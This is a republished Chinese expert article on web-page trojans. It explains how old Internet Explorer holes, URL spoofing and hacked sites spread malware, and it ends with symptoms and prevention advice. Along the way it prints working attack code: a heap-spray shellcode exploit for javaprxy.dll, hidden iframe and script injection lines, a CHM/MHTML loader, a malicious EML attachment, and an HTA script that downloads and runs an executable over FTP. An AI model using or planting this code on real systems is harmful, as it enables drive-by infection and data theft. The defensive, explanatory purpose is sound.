国内资深安全专家详谈网页***
生活随笔
收集整理的這篇文章主要介紹了
国内资深安全专家详谈网页***
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
誠信網安--子明
【51CTO.com 專家特稿】當今網絡,反病毒軟件日益增多,使用的反病毒技術越來越先進,查殺病毒的能力逐漸提高,但病毒制作者并不會罷休,反查殺手段不斷升級,新的病毒 層出不窮,形式也越來越多樣化,為了躲避查殺,病毒自身的隱蔽性越來越高,針對反病毒軟件對傳統的病毒傳播途徑的監控能力提高,造成病毒傳播困難的問題, 越來越多的病毒,利用多數反病毒軟件產品對惡意腳本監控能力的缺陷,開始利用網頁***這一危害面最廣泛,傳播效果最佳的方式來傳播。 一 、什么是網頁*** 網頁***是利用網頁來進行破壞的病毒,它包含在惡意網頁之中,使用腳本語言編寫惡意代碼,依靠系統的漏洞,如IE瀏覽器存在的漏洞來實現病毒的傳 播。當用戶登陸了包含網頁病毒的惡意網站時,網頁***便被激活,受影響的系統一旦感染網頁病毒,就會遭到破壞,輕則瀏覽器首頁被修改,標題改變,系統自動 彈出廣告,重則被裝上***,感染病毒,使用戶無法進行正常的使用。甚至會引起系統崩潰,敏感信息丟失等嚴重后果。由于腳本語言易于掌握,所以網頁***非常 容易編寫和修改,造成很難提取特征值,增加了殺毒軟件查殺以及用戶預防的困難。 目前的網頁***都是利用腳本語言、ActiveX、WSH等來實現對客戶端計算機的遠程操作,如改寫注冊表,添加、刪除、更改文件夾等操作。網頁病毒可以以此來達到傳播的目的。 1.利用WSH(Windows Scripting Host Object Reference)等系統控件 WSH,是“Windows Scripting Host”的簡稱,可以直譯為“Windows 腳本宿主”。在Windows系統中會默認安裝,它是內嵌于 Windows 操作系統中的腳本語言工作環境。 Windows Scripting Host 這個概念最早出現于 Windows 98 操作系統。微軟在研發 Windows 98 時,為了實現多類腳本文件在 Windows 界面或 Dos 命令提示符下的直接運行,就在系統內植入了一個基于 32 位 Windows 平臺、并獨立于語言的腳本運行環境,并將其命名為“Windows Scripting Host”。WSH 架構于 ActiveX 之上,通過充當 ActiveX 的腳本引擎控制器,WSH 為 Windows 用戶充分利用威力強大的腳本指令語言掃清了障礙。 WSH也有它的不足之處,任何事物都有兩面性,WSH 也不例外。WSH 的優點在于它使用戶可以充分利用腳本來實現計算機工作的自動化;但也正是它的這一特點,使系統存在了安全隱患。計算機病毒制造者用腳本語言來編制病毒,并 利用 WSH 的支持功能,讓這些隱藏著病毒的腳本在網絡中廣為傳播。借助WSH的缺陷,通過JAVAScript,VBScript,ActiveX等網頁腳本語言, 可以改動受影響系統的注冊表,利用服務器端腳本程序如:ASP,PHP等來記錄訪問網頁者的相關信息,瀏覽之后,系統目錄被完全共享;IP地址、訪問時 間、操作系統名稱會被網頁***所記錄,造成敏感信息的泄露。 2.Microsoft Internet Explorer等瀏覽器存在漏洞 3.腳本語言 用JAVA編制的腳本語言主要是Java Applet和Java Script。Applet是Java編寫的小應用程序,不能獨立運行,需要嵌入HTML文件,遵循標準,在支持Java的瀏覽器(如Microsoft Internet Explorer) 上運行,是Java一個重要的應用分支,它改變了傳統網頁呆板的界面,在WWW網頁(Home Page / Pages)設計中加入了動畫、影像、音樂等元素。 JavaScript是一種基于對象(Object)和事件驅動(Event Driven)并具有安全性能的腳本語言。使用它的目的是與HTML超文本標記語言、與Web客戶交互作用。從而可以開發客戶端的應用程序等。它是通過嵌 入或文件引用在標準的HTML語言中實現的。它的出現彌補了HTML語言的缺陷,它是Java與HTML折衷的選擇,具有基于對象、簡單、安全、動態、跨 平臺性等特性。 ActiveX是Microsoft提出的一組使用COM(Component Object Model,部件對象模型)使得軟件部件在網絡環境中進行交互的技術。它與具體的編程語言無關。作為針對Internet應用開發的技術,ActiveX 被廣泛應用于WEB服務器以及客戶端的各個方面。同時,ActiveX技術也被用于方便地創建普通的桌面應用程序。在Applet中可以使用 ActiveX技術,如直接嵌入ActiveX控制,或者以ActiveX技術為橋梁,將其它開發商提供的多種語言的程序對象集成到Java中。與 Java的字節碼技術相比,ActiveX提供了“代碼簽名”(Code Signing)技術保證其安全性。 造成網頁病毒傳播和形成的主要原因,是因為Windows操作系統以及Microsoft Internet Explorer等瀏覽器存在漏洞。二、網頁***的***原理 網頁***實際上是一個HTML網頁,與其它網頁不同的是該網頁是***精心制作的,用戶一旦訪問了該網頁就會中***。為什么說是***精心制作的呢?因 為嵌入在這個網頁中的腳本恰如其分地利用了IE瀏覽器的漏洞,讓IE在后臺自動下載***放置在網絡上的***并運行(安裝)這個***,也就是說,這個網頁能 下載***到本地并運行(安裝)下載到本地電腦上的***,整個過程都在后臺運行,用戶一旦打開這個網頁,下載過程和運行(安裝)過程就自動開始。
打 開一個網頁,IE瀏覽器不會自動下載程序和運行程序,這是因為,為了安全,IE瀏覽器是禁止自動下載程序特別是運行程序的,但是,IE瀏覽器存在著一些已 知和未知的漏洞,網頁***就是利用這些漏洞獲得權限來下載程序和運行程序的。下面列舉一些IE瀏覽器等存在的漏洞來分別說明為什么利用網頁***可以下載程 序和運行程序。 1.下載可執行文件. index里有一個代碼漏洞<LINK href="ray.exe" rel=stylesheet type=text/css>,IE會把可執行文件誤認為CSS樣式表而下載到IE的臨時文件目錄. 也可以利用<SCRIPT LANGUAGE="icyfoxlovelace" src="[url]http://test.net/1.exe[/url]"></SCRIPT>這段代碼,把這段代碼插入到網頁源代碼的</BODY>…</BODY>之間,運行后就會發現在IE的臨時目錄Temporary Internet Files下,已經下載了1.exe這個病毒文件。 2.自動運行程序 <SCRIPT LANGUAGE="javascript" type="text/javascript"> var shell=new ActiveXObject("shell.application"); shell.namespace("c:\\Windows\\").items().item("Notepad.exe").invokeverb(); </SCRIPT> 把這段代碼插入到網頁源代碼的</BODY>…</BODY>之間,然后用IE打開該網頁,這段代碼可以在IE中自動打開記事本。 這段代碼使用了shell.application控件,該控件能使網頁獲得執行權限,替換代碼中的“Notepad.exe”(記事本)程序,就可以用它自動運行本地電腦上的任意程序。 通過以上的例子可以看出,利用IE的漏洞,在網頁中插入相關的代碼,IE完全可以自動下載和運行程序。三、可能被網頁***利用的漏洞 1.利用URL格式漏洞 此類網頁***是利用URL格式漏洞來欺騙用戶。構造一個看似JPG格式的文件誘惑用戶下載,但事實上用戶下載的卻是一個EXE文件。 此類***,具有相當的隱蔽性,利用URL欺騙的方法有很多種,比如起個具有誘惑性的網站名稱或使用易混的字母數字掉包進行銀行網絡釣魚,還有漏洞百出的“%30%50”之類的Unicode編碼等等,現在列舉比較常見的幾種方法:
(1).@標志過濾用戶名的解析 本來@標志是E-mail地址的用戶名與主機的分隔符,但在URL中同樣適用,而且功能如出一轍。HTTP(超文本傳輸協議)規定了URL的完整格 式是“[url]Http://Name[/url]:Password@IP地址或主機名”,其中的“IP地址或主機名”是必填項。@標志與其前面的“Name: Password”,意為“用戶名:密碼”,屬于可選項。也就是說,在URL中真正起解析作用的網址是從@標志后面開始的,這就是欺騙原理。 比如用戶訪問“[url]Http://www.sina.com[/url]@[url]www.Trojan.com.cn/HuiGeZi_Server.exe[/url]”, 從表面上看,這是新浪網提供的一個鏈接,用戶會認為這是一個無害的鏈接,而點擊,而實際上 “[url]www.sina.com[/url]”只是個寫成新浪網址形式的用戶名(此處的密碼為空),因為后面有@標志。而真正鏈接的網址卻是 “[url]www.Trojan.com.cn/HuiGeZi_Server.exe[/url]”????????? 也就是說這個發來的URL地址其實完全等同于“[url]Http://www[/url] [url]www.Trojan.com.cn/HuiGeZi_Server.exe[/url],而與前面的用戶名毫無關系,只是迷惑性可就大大提高了。即使沒有這個用戶名,也完全不影響瀏覽器對URL的解析。 (2).十進制的IP地址 常見的IP地址包括四個字節,一般表示形式為“xxx.xxx.xxx.xxx”(x表示一個十進制數碼),例如“61.135.132.12”。 因為數字IP地址較長,且過于抽象、難以記憶,所以采用域名服務DNS來與之對應。在瀏覽器地址欄中輸入“[url]Http://www.sohu.com[/url]”與 “[url]Http://61.135.132.12[/url]”的結果完全一樣,都是訪問搜狐網站,因為61.135.132.12就是搜狐域名[url]www.sohu.com[/url]的IP地址。不過,用[url]Http://1032291340[/url]訪 問的話,仍然可以打開搜狐網站,這是因為,四位點分十進制形式的IP地址“61.135.132.12”代表一組32位二進制數碼,如果合在一起再轉換成 一個十進制數的話,答案就是1032291340。轉換方法,就是數制的按權展開:12×2560+132×2561+135×2562+61×2563 =12+33792+8847360+1023410176=1032291340(基數為256,即28)。在上文的例子中提到了 “[url]www.Trojan.com.cn/HuiGeZi_Server.exe[/url]”。這種字母域名有時還能被用戶識破,而在把它對應的IP地址(假設為 “61.135.132.13”)換算成一個十進制數后,結果是1032291341,再結合@標志過濾用戶的解析,就會變成[url]Http://www.sina.com@1032291341[/url]這樣的地址,這樣就更加隱蔽了。 (3).虛假的網址,網絡釣魚者注冊一個域名和真實網站域名十分相似的網址,其用戶界面也和真實網站頁面非常相似,然后不URL提供給用戶,那么一 般的用戶被引導到這樣的虛擬網址上是難以察覺的,***者也就可以利用該網頁來誘導用戶輸入自己的個人身份信息,達到竊取的目的,例如真實網站域名是[url]www.lovebank.xxx[/url],偽造網站域名是[url]www.1ovebank.xxx[/url],一個是小寫的"L",一個是數字"1",域名服務器將解析到完全不同的IP地址上,但用戶很難看出來。再如真實網站的域名是[url]www.xxx.xxx.cn[/url],而虛假網站使用域名[url]www.xxx.xxx[/url],很多人也無法判斷 (4).更隱蔽的方法,是根據超文本標記語言的規則,可以對文字制作超鏈接,這樣就使網絡釣魚者有機可乘。例如文件源代碼可以寫成:"<A HREF=http://www.xxxbank.com.cn>[url]http://www.xxbank.com.cn</A>[/url]"。這 樣,屏幕上顯示的是xxxbank的網址,而實際卻鏈接到了xxbank的虛假網站。 (5).采用偽裝手段??梢栽跒g覽器打開虛假網站的時候,彈出一個很隱蔽的小圖像,正好覆蓋在瀏覽器顯示網址的地方,該小圖像顯示被仿冒的網站的真實域名,而瀏覽器真正訪問的地址被掩蓋在下面。 (6).虛假的彈出窗口。一些虛假網站會將用戶轉移到真實的網址,但是轉移之前制造假冒的彈出窗口,提示用戶進行個人登陸的操作,很多用戶會誤認為這些彈出窗口是網站的一部分而進一步按照提示操作,直到透露出自己的個人身份信息。 (7).可以利用瀏覽器漏洞竊取個人信息,如IE就曾暴露出一個漏洞,該漏洞使***者可以在垃圾郵件中構造一種數據,用戶點擊后便可使IE瀏覽器顯 示的網址與實際訪問的網址不同。采用這種方式進行***,欺騙性更好,可以通過向用戶發送包含URL的垃圾郵件的方式,誘騙用戶點擊,用戶如果不檢查郵件的 原始代碼,根本無法知道自己被瀏覽器欺騙了。 (8).***程序可以修改用戶計算機中的HOSTS文件,將特定域名的IP地址設置成自己的虛假網站的地址,用戶訪問這些網站時,機器會從 HOSTS文件中獲得對應的IP。除了上面的方法外,更為隱蔽和目前常用的***手法是,***者首先攻破一個正常的網站,然后修改網站的代碼,通過跳轉語句 或嵌入JS腳本的手段,來改造一個掛馬的網站,這樣當用戶點擊了包含正常網站的URL時,是不會有戒備心理的,更容易造成更大的損失。 2.通過ActiveX控件制作網頁***。 通過 ActiveX 把普通的軟件轉化為可以在主頁直接執行的軟件的網頁***,此類網頁***對所有的系統和IE版本都有效,缺點是瀏覽網頁***時會彈出對話框,詢問是否安裝此 插件。病毒作者通常是偽造微軟、新浪、Google等知名公司的簽名,偽裝成它們的插件來迷惑用戶。 3.利用WSH的缺陷 利用WSH修改注冊表,使IE安全設置中“沒有標記為安全的的activex控件和插件”的默認設置改為啟用,然后再利用一些可以在本地運行EXE程序的網頁代碼來運行病毒。它的危害在于,可以利用IE的安全漏洞提升權限達到本地運行任意程序的后果。4.利用MIME漏洞制做的網頁***。 它利用了Microsoft Internet Explorer中MIME/BASE64處理的漏洞,MIME(Multipurpose Internet Mail Extentions),一般譯作“多用途的網絡郵件擴充協議”。顧名思義,它可以傳送多媒體文件,在一封電子郵件中附加各種格式文件一起送出?,F在它已 經演化成一種指定文件類型(Internet的任何形式的消息:E-mail,Usenet新聞和Web)的通用方法。在使用CGI程序時你可能接觸過 MIME類型,其中有一行叫作Content-type的語句,它用來指明傳遞的就是MIME類型的文件(如text/html或 text/plain)。MIME在處理不正常的MIME類型時存在一個問題,***者可以創建一個Html格式的E-mail,該E-mail的附件為可 執行文件,通過修改MIME頭,使IE不能正確處理這個MIME所指定的可執行文件附件。IE處理附件的方式:一般情況下如果附件是文本文件,IE會讀取 文件,如果是VIDEO CLIP,IE會查看文件;如果附件是圖形文件,IE就會顯示文件;如果附件是一個EXE文件呢?IE會提示用戶是否執行,但當***者更改MIME類型 后,IE就不再提示用戶是否執行而直接運行該附件。從而使***者加在附件中的程序,***命令能夠按照***者設想的情況進行。在Win9X\ME以及 WinNT4和Win2000下的Internet Explorer 5.0、5.01、5.5均存在該漏洞,微軟郵件客戶端軟件Outlook Express也存在此漏洞。 5.利用系統的圖片處理漏洞 這是種只要瀏覽圖片就可以傳播的網頁***。這種***是把一個EXE文件偽裝成一個BMP或JPG圖片文件,在網頁中添加如 <img src="love.bmp" >的代碼來欺騙IE自動下載,然后利用網頁中的Java Script腳本查找客戶端的Internet臨時文件夾,尋找下載的BMP格式文件,把它拷貝到TEMP目錄.再利用腳本把找到的BMP文件用 DEBUG還原成EXE,并添加到注冊表啟動項中,達到隨系統的目的。 6.HTML文件*** 首先利用工具把EXE格式的文件轉化成HTML文件的***,這樣.EXE文件看起來就變成了Htm文件,欺騙訪問者訪問假冒的Htm文件從而達到運行病毒的目的。它和BMP網頁***運用了同一個原理,也會利用JAVASCRIPT腳本和debug程序來轉換回EXE文件。 7.Hta*** Hta網頁***,是利用Internet Explorer Object Data(MS03-032)漏洞制作的網頁***,此漏洞是因為Internet Explorer在處理對象"Object"標記時沒有正確處理要被裝載的文件參數。("Object"標記用于插入ActiveX組件等對象到HTML 頁面。"Object"標記的"Type"屬性用于設置或獲取對象的MIME類型。通常合法MIME類型包括"plain/text"或 "application/hta", "audio/x-mpeg"等。)Internet Explorer指定遠程對象數據位置的參數沒有充分檢查被裝載的文件屬性,***者可以構建惡意頁面,誘使用戶訪問來運行惡意頁面指定的程序 。 8.利用CHM格式漏洞。 這種網頁***首先創建一個Htm文件,包含如下代碼:<OBJECT NAME='X' CLASSID='CLSID:11111111-1111-1111-1111-111111111123'? wight =0 height =0 CODEBASE='x.exe'>然后用電子書制作工具將包含名為x.exe的病毒文件該文件的文件夾編譯成CHM文檔。新建一個包含如下代碼的 Htm文件。 <title>hello</title>
<textarea id="code" style="display:none;" >
<object data="ms-its:mhtml:file://C:\foo.mht!${lhxy}/x.chm::/x.htm" type="text/x-scriptlet"></object>
</textarea>?
<script language="javascript">?
document.write(code.value.replace(/\${lhxy}/g,location.href.substring(0,location.href.indexOf('mm.htm'))));?
</script> 就達到了調用掛病毒的目的。 9.IFRAME溢出 IE IFRAME漏洞利用了MS05020中提到的IE溢出漏洞, IE在處理iframe標簽的時候,會調用一個叫作SHDOCVW!CBaseBrowser2::SetFramName函數來進行unicode copy(wcscpy),在拷貝iframe的name時,沒有進行邊界檢查,構造惡意的代碼就會導致IE的溢出。IE產生溢出錯誤后,可能會被***利 用打開電腦中某個端口。當微軟的IE窗口打開另一個窗口時,如果子窗口是另一個域或安全區的話,安全檢查應當阻止父窗口訪問子窗口。但事實并非如此,父窗 口可以訪問子窗口文檔的frame,這可能導致父窗口無論是域或安全區都能在子窗口中設置Frame或IFrame的URL。這會帶來嚴重的安全問題,通 過設置URL指向Javascript協議,父窗口能在子域環境下運行腳本代碼,包括任意的惡意代碼。***者也能在“我的電腦”區域中運行腳本代碼。這更 會造成嚴重的后果。 10. Microsoft Internet Explorer Javaprxy.DLL COM對象堆溢出漏洞 Microsoft Internet Explorer存在一個堆溢出漏洞。當一個惡意的網頁實例化'javaprxy.dll' COM對象時,可能導致堆溢出,成功利用該漏洞能夠在客戶端上下載執行任意代碼。其測試代碼如下: <!--
注:這個漏洞利用代碼是用PERL腳本生成的可用HTM網頁文件,以網頁形式保存,打開后如果執行成功,將會監聽28876端口 -->
<html><body>
<SCRIPT language="javascript">
shellcode = unescape("%u4343"+"%u4343"+"%u43eb%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb");
bigblock = unescape("%u0D0D%u0D0D");
headersize = 20;
slackspace = headersize+shellcode.length
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<750;i++) memory[i] = block + shellcode;
</SCRIPT>
<object classid="CLSID:03D9F3F2-B0E3-11D2-B081-006008039BF0"></object>
Microsoft Internet Explorer javaprxy.dll COM Object Remote Exploit
四、網頁***的基本用法 理解了網頁******的原理,以及常用的漏洞,就可以寫出相關的利用代碼。制作出網頁***,然后就是傳播網頁***,目前網頁***的主要傳播途徑是: 1.通過IM及時聊天軟件傳播 將包含網頁***的地址(網址)通過QQ等聊天軟件在網絡中分發,一旦有用戶訪問了該網頁,該網頁就會在系統中自動下載并運行放置在網絡上的***。 2.***知名網站,獲得Webshell權限后,在網站中填加惡意代碼,如:
(1)iframe
<iframe src=http://www.xxx.com/muma.html width=0 height=0></iframe> 注:<iframe>也叫浮動幀標簽,它可以把一個HTML網頁嵌入到另一個網頁里實現“畫中畫”的效果,被嵌入的網頁可以控制寬、高 以及邊框大小和是否出現滾動條等。在上述代碼中,因為把寬(width)、高(height)、邊框(frameborder)都設置為了“0”,所以, 上述代碼插入到門戶網站的首頁后,網站的首頁不會發生變化,但是,由于嵌入的網頁實際上已經打開了,所以網頁上的下載***和運行***的腳本還是會隨著門戶 首頁的打開而執行的。 (2)js掛馬
<script src=http://www.xxx.com/muma.js></script> (3)js變形加密
<SCRIPT language="JScript.Encode" src=http://www.xxx.com/muma.txt></script>
其中muma.txt可改成任意后綴的。 (4)嵌入
top.document.body.innerHTML = top.document.body.innerHTML + '\r\n<iframe src="[url]http://www.xxx.com/muma.htm/[/url]"></iframe>'; 利用在知名門戶網站,填加惡意腳本的***行為很多,例如,安天實驗室在06年8月份就發現了針對KFC肯德基,雪花啤酒,邁拓硬盤等知名網站的***行為。所采用的都是此種方式。 3.利用美麗的網頁名稱及內容,誘惑用戶訪問。 很多惡意網頁或是站點的制作者,對瀏覽者的心理進行了分析,對域名的選擇和利用非常精明。很多網民對一些×××信息比較感興趣,成為了他們利用的渠道。他們會構建名[url]www.love.com[/url],或是[url]http://bangbus.year.net[/url]等具有誘惑性的名稱誘惑用戶點擊。 4.利用電子郵件等傳播。 ***者,利用電子郵件群發工具,發送包含誘惑性信息的主題郵件,誘惑用戶點擊其中包含的網頁。五、目前常用的網頁***制作方式 1.Javascript.Exception.Exploit
利用JS+WSH的完美結合,來制作惡意網頁。 2.錯誤的MIME Multipurpose Internet Mail Extentions,多用途的網際郵件擴充協議頭.幾乎是現在網頁***流行利用的基本趨勢,這個漏洞在IE5.0到IE6.0版本中都有。 3.EXE to .BMP + Javascritp.Exception.Exploit用虛假的BMP文件誘惑用戶運行。 4.iframe? 漏洞的利用 當微軟的IE窗口打開另一個窗口時,如果子窗口是另一個域或安全區的話,安全檢查應當阻止父窗口訪問子窗口。但事實并非如此,父窗口可以訪問子窗口 文檔的frame,這可能導致父窗口無論是域或安全區都能在子窗口中設置Frame或IFrame的URL。這會帶來嚴重的安全問題,通過設置URL指向 javascript協議,父窗口能在子域環境下運行腳本代碼,包括任意的惡意代碼。***者也能在“我的電腦”區域中運行腳本代碼。這更會造成嚴重的后 果。? 5.通過安全認證的CAB,COX 此類方法就是在.CAB文件上做手腳,使證書.SPC和密鑰.PVK合法 原理:IE讀文件時會有文件讀不出,就會去“升級”這樣它會在網頁中指定的位找 .cab 并在系統里寫入個CID讀入.cab里的文件。 方法:.cab是WINDOWS里的壓縮文件, IE里所用的安全文件是用簽名的,CAB也不例外,所做的CAB是經過安全使用證書引入的。也就是說IE認證***,之所以每次都能***,是因為它通過的是IE認證下的安全***。 6.EXE文件的捆綁 現在的網頁***捆綁機幾乎是開始泛濫了,多的數不勝數。再將生成的MHT文件進行加密。六、常用網頁***運行原理的分析 1.Javascript.Exception.Exploit 常用的***代碼:
<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>
Function destroy(){
try
{
//ActiveX initialization 初始化ActiveX,為修改注冊表做準備
a1=document.applets[0];?
//獲取applet運行對象,以下語句指向注冊表中有關IE的表項
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try
{
開始進行破壞
}
}
catch(e)
{}
}
catch(e)
{}
}
function do()
{
//初始化函數,并每隔一秒執行修改程序
setTimeout("destroy()", 1000); //設定運行時間1秒
}
Do() //進行破壞的執行函數指令
這個代碼是JAVAScript編寫,很簡單,但卻可以修改受影響系統的注冊表,釋放垃圾文件,格式化硬盤等。 2.錯誤的MIME Multipurpose Internet Mail Extentions,多用途的網際郵件擴充協議頭
常用的***代碼: <! - - x.eml - - >
Content-Type: multipart/related;
type="multipart/alternative";
boundary="====B===="
--====B====
Content-Type: multipart/alternative;
boundary="====A===="
--====A====
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable
<iframe src=3Dcid:Mud height=3D0 width=3D0></iframe>
--====A====--
--====B====
Content-Type: audio/x-wav;
name="run.exe"
Content-Transfer-Encoding: base64
Content-ID: <Mud>? ---以下省略AAAAA N+1個---
把run.exe 的類型定義為audio/x-wav,這是利用客戶端支持的 MIME(多部分網際郵件擴展,Multipart Internet Mail Extension) 類型的漏洞來完成的。當申明郵件的類型audio/x-wav時,IE存在的一個漏洞會將附件認為是音頻文件自動嘗試打開,,結果導致郵件文件x.eml 中的附件run.exe被執行。在win2000上,即使是用鼠標點擊下載下來的 x.eml,或是拷貝粘貼,都會導致x.eml中的附件被運行。整個程序的運行還是依靠x.eml這個文件來支持。Content-Transfer- Encoding: base64 Content-ID: <Mud> 從中可以看出,由于定義后字符格式為base64,那么一下的代碼全部為加密過的代碼,里面可以是任何執行的命令:
〈script language=vbs〉
On Error Resume Next? 容錯語句,避免程序崩潰
set aa=CreateObject("WScript.Shell")?建立WScript對象
Set fs = CreateObject("Scripting.FileSystemObject")?建立文件系統對象
Set dir1 = fs.GetSpecialFolder(0)?得到Windows路徑
Set dir2 = fs.GetSpecialFolder(1)?得到System路徑
……省略……</script>
之所以有的病毒不能準確的清除全部的病毒體,是因為很多殺毒軟件,病毒監控只殺當時查到的,卻不能處理新建的文件。 3.Iframe? 漏洞的利用 常用***代碼:
(1)
<script language="jscript">
() {
var
oVictim=open("[url]http://url.url.com/url?threadm=vir[/url]","OurVi
ctim","width=100,height=100");
setTimeout(
function () {
oVictim.frames[0].location.href="javascript:alert(document.cooki
e)";
},
7000
);
}
</script> (2)
〈iframe src=run.eml width=0 height=0〉〈/iframe〉
常見的***運用格式,高度和寬度為0的一個框架網頁。 (3)
<object type="text/x-scriptlet" width="0"? height="0" data="test.html"></object>
一個框架引用的新方式,對type="text/x-scriptlet" 的調整后,就可以實現和eml格式文件同樣的效果。 4.Microsoft Internet Explorer瀏覽器彈出窗口Object類型驗證漏洞的利用 常見***代碼:
<object data="run.asp"></object>
----- code cut start for run.asp -----
<HTA:APPLICATION? caption="no" border="none" showInTaskBar="no" windowState="minimize">
<object id=';wsh'; classid=';clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B';></object>
<script language="VBScript">
Dim fs, t
Set fs = CreateObject("Scripting.FileSystemObject") //注冊組件FSO
Set t = fs.CreateTextFile("ftp.txt",True)
t.WriteLine("userdown")
t.WriteLine("username")
t.WriteLine("usepassword")
t.WriteLine("get ie.exe c:window.exe") //FTP下載一個文件,并進行偽裝
t.WriteLine("close")
t.WriteLine("quit")
t.Close
wsh.Run "ftp -n -s:ftp.txt URL.url.com",0,true
wsh.Run "c:window.exe" //下載完畢后就運行
fs.DeleteFile "ftp.txt",true //下載列表文件用完就刪
window.close? //窗口關閉,所有任務結束
</script>
----- code cut end for run.asp -----七、網頁***運行后特征分析 1.系統的默認主頁被更改,并且IE工具欄內的修改功能被屏蔽掉; 2.在系統的桌面上無故出現陌生網站的鏈接,無論怎么刪除,每次開機都依舊會出現,如果單擊鼠標右鍵,出現的工具欄中有也會有大量陌生網站的鏈接; 3.系統桌面及桌面上的圖標被隱藏; 4.注冊表編輯器被鎖定,從而無法修改注冊表; 5.上網之前,系統一切正常,下網之后系統就會出現異常情況,如系統盤丟失、硬盤遭到格式化等; 6.上陌生網站后,出現提示框“您已經被XX病毒***”,之后系統出現異常; 7.登陸站點后,出現一個窗口迅速打開后又消失的現象,系統文件夾內出現異常文件; 8.系統的進程中出現未知進程,而且無法終止,終止后會自動重新出現; 9.系統CPU占用率高; 10.登陸某站點后,殺毒監控軟件報警,并刪除病毒文件,位置在IE的緩沖區。重新啟動計算機后發現IE默認設置被修改。 11.自動彈出廣告; 12.信用卡,QQ帳號丟失等;八、網頁***的預防 1.?避免瀏覽包含不健康內容的網頁; 2.? 由于網頁***是含有害代碼的ActiveX網頁文件,因此在IE設置中將ActiveX插件和控件、Java腳本等全部禁止。
具體 方法是:在IE窗口中點擊"工具→Internet選項,在彈出的對話框中選擇"安全"標簽,再點擊"自定義級別"按鈕,就會彈出"安全設置"對話框,把 其中所有ActiveX插件和控件以及Java相關全部選擇"禁用"即可。不過,這樣在網頁瀏覽過程中可能會造成一些正常使用ActiveX的網站無法瀏 覽。 3.對Windows 2000和WINDOWS XP用戶,還可以通過在服務里,禁用遠程注冊表操作服務"Remote Registry Service",來對付該類網頁。具體方法是:點擊"管理工具→服務→Remote Registry Service(允許遠程注冊表操作)",禁用即可。 4.升級瀏覽器到IE6.0并及時安裝升級補丁。 5.下載微軟最新的Microsoft Windows Script 6. 安裝反病毒軟件以及防火墻,打開網頁監控和腳本監控. 后記: 網頁***,目前的發展方向,是利用操作系統,瀏覽器存在的溢出漏洞,來下載Trojan-Downloader類***,達到傳播病毒的目的。而網頁 ***的傳播方式,目前,主要是******知名網站,在代碼中填加惡意腳本,從而達到,利用知名網站,訪問量高的特點,快速傳播的目的。網頁***本身的危害巨 大,但它帶來的最大影響,是可能傳播惡性的病毒,造成極大的危害。
通過最近的這些病毒分析,現在越來越多的***者采取網頁掛馬,來達到控制更多的 “肉雞”從而達到,靠流量和販賣“肉雞”來達到收入最大話,通過網站釣魚,來捕獲受害人的信用卡帳號以及個人隱私,更有甚者進行非法交易,出賣給一些商業 間諜等,以后的病毒防范和研究工作還將繼續進行下去,任重而道遠。 歡迎大家和我交流,我們一同來打一場反黑反病毒的持久戰,同時在這里我還是要感謝安天實驗室的全體cert組成員,能全力支持我,配合我來更快更好的完成病毒分析工作,也同樣感謝我的兩個助手-----王清,王琪,以及誠信網安的全體成員,謝謝你們對我工作的支持和幫助。
【51CTO.com 專家特稿】當今網絡,反病毒軟件日益增多,使用的反病毒技術越來越先進,查殺病毒的能力逐漸提高,但病毒制作者并不會罷休,反查殺手段不斷升級,新的病毒 層出不窮,形式也越來越多樣化,為了躲避查殺,病毒自身的隱蔽性越來越高,針對反病毒軟件對傳統的病毒傳播途徑的監控能力提高,造成病毒傳播困難的問題, 越來越多的病毒,利用多數反病毒軟件產品對惡意腳本監控能力的缺陷,開始利用網頁***這一危害面最廣泛,傳播效果最佳的方式來傳播。 一 、什么是網頁*** 網頁***是利用網頁來進行破壞的病毒,它包含在惡意網頁之中,使用腳本語言編寫惡意代碼,依靠系統的漏洞,如IE瀏覽器存在的漏洞來實現病毒的傳 播。當用戶登陸了包含網頁病毒的惡意網站時,網頁***便被激活,受影響的系統一旦感染網頁病毒,就會遭到破壞,輕則瀏覽器首頁被修改,標題改變,系統自動 彈出廣告,重則被裝上***,感染病毒,使用戶無法進行正常的使用。甚至會引起系統崩潰,敏感信息丟失等嚴重后果。由于腳本語言易于掌握,所以網頁***非常 容易編寫和修改,造成很難提取特征值,增加了殺毒軟件查殺以及用戶預防的困難。 